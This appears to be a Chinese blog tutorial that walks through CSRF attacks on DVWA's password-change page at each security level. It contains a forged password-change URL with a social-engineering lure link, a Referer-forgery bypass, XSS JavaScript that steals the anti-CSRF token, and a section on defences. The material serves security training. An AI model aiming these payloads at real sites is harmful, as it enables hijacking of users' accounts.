当前位置: 首页 > news >正文

DVWA CSRF漏洞分析与利用

目录

简介

一、CSRF漏洞原理与技术背景

1.1 CSRF攻击机制

1.2 DVWA CSRF模块分析

二、Low级别漏洞分析与利用

2.1 关键代码

2.2 漏洞利用实战

三、Medium级别防护绕过

3.1 关键代码

3.2 绕过技术

四、High级别进阶攻击

4.1 Token防护机制

4.2 结合XSS绕过

五、Impossible级别防护分析

5.1 关键代码

六、CSRF防御最佳实践

七、总结


简介

跨站请求伪造(CSRF)是Web安全领域最常见的高危漏洞之一。本文将以DVWA(Damn Vulnerable Web Application)为实验平台,通过代码审计、漏洞利用和防御方案三个维度,全面解析CSRF漏洞的攻防技术。

一、CSRF漏洞原理与技术背景

1.1 CSRF攻击机制

CSRF(Cross-Site Request Forgery)是一种利用受害者已认证状态的非授权操作攻击。其核心攻击流程为:

  1. 用户登录受信任网站A

  2. 未注销情况下访问恶意网站B

  3. 网站B伪造针对网站A的合法请求

  4. 用户浏览器携带认证信息自动执行该请求

1.2 DVWA CSRF模块分析

DVWA的CSRF模块模拟了密码修改功能,包含四个安全等级:

  • Low:无任何防护

  • Medium:基础Referer检查

  • High:Anti-CSRF Token

  • Impossible:多因素认证

二、Low级别漏洞分析与利用

2.1 关键代码

// dvwa/vulnerabilities/csrf/source/low.php
if( isset( $_GET[ 'Change' ] ) ) {$pass_new  = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];if( $pass_new == $pass_conf ) {// 直接修改密码$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert) or die(...);}
}

漏洞点

  • 使用GET方法修改密码

  • 无Token验证

  • 无Referer检查

2.2 漏洞利用实战

攻击步骤

1.输入密码更改时,发现get形式传参

2.构造恶意URL:

http://192.168.21.4/dvwa/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change

3.社工诱导点击:

<a href="http://192.168.21.4/dvwa/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change" >点击领取红包</a>

发现密码已经更改成功

三、Medium级别防护绕过

3.1 关键代码

// medium.php
if( stripos( $_SERVER[ 'HTTP_REFERER' ], $_SERVER[ 'SERVER_NAME' ] ) === false ) {die("请求必须来自同一域名");
}

防护机制

  • 检查HTTP Referer头

  • 要求包含服务器名

3.2 绕过技术

正常使用csrf poc已经不能成功更改密码了,提示“That request didn't look correct.”

Referer头伪造,Referer添加网站地址即可进行csrf更改

四、High级别进阶攻击

4.1 Token防护机制

// high.php
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

4.2 结合XSS绕过

// 通过XSS先获取Token
var xhr = new XMLHttpRequest();
xhr.onload = function() {var token = this.responseText.match(/user_token' value='(.*?)'/)[1];// 构造CSRF请求var img = new Image();img.src = "http://192.168.21/dvwa/...&user_token="+token;
};
xhr.open("GET", "/dvwa/vulnerabilities/csrf/");
xhr.send();

五、Impossible级别防护分析

5.1 关键代码

// impossible.php
$pass_curr = $_POST[ 'password_current' ];
if( !hash_equals( $user_pass, md5( $pass_curr ) ) ) {die("Current password incorrect");
}

防护策略

  1. 强制POST方法

  2. 要求验证当前密码

  3. 使用一次性Token

  4. 密码哈希比对

六、CSRF防御最佳实践

  1. Anti-CSRF Token

    • 每个表单生成唯一Token

    • 服务端严格校验

  2. SameSite Cookie属性

    setcookie('sessionid', 'value', ['samesite' => 'Strict','secure' => true
    ]);

  3. 关键操作二次认证

    • 短信/邮件验证

    • 生物识别

七、总结

安全级别防护措施攻击难度
Low无防护★☆☆☆☆
MediumReferer检查★★☆☆☆
HighCSRF Token★★★☆☆
Impossible多因素认证★★★★★
http://www.lryc.cn/news/587162.html

相关文章:

  • C语言---自定义类型(上)(结构体类型)
  • 更换docker工作目录
  • 4. 关于CEF3 使用的一些记录及仓颉端封装的情况
  • [2025CVPR]DenoiseCP-Net:恶劣天气下基于LiDAR的高效集体感知模型
  • Android事件分发机制完整总结
  • 《Python JSON 数据解析全指南:从基础到实战(含 jsonpath 与 Schema 验证)》
  • 002大模型基础知识
  • Opencv---blobFromImage
  • Llama系列:Llama1, Llama2,Llama3内容概述
  • 互联网大厂Java面试:从Spring Boot到微服务的场景应用
  • RHCIA第二次综合实验:OSPF
  • anaconda常用命令
  • 动态规划理论基础,LeetCode 509. 斐波那契数 LeetCode 70. 爬楼梯 LeetCode 746. 使用最小花费爬楼梯
  • 编译器优化——LLVM IR,零基础入门
  • 基础数论学习笔记
  • 每天学习一个Python第三方库之jieba库
  • vue中 js-cookie 用法
  • 深度学习算法:开启智能时代的钥匙
  • DVWA靶场通关笔记-XSS DOM(High级别)
  • 详解缓存淘汰策略:LFU
  • 初级网安作业笔记1
  • 3. 【Blazor全栈开发实战指南】--Blazor是什么?为什么选择Blazor?
  • [特殊字符]使用 Nginx 将 HTTP 重定向到 HTTPS
  • Spring-----MVC配置和基本原理
  • CD49.【C++ Dev】容器适配器模式
  • 一个链表节点构造函数的定义及使用
  • 如何将FPGA设计的验证效率提升1000倍以上(4)
  • Datawhale AI 夏令营【更新中】
  • 动态规划题解_零钱兑换【LeetCode】
  • 数学与应用数学核心课程有哪些?全文解析!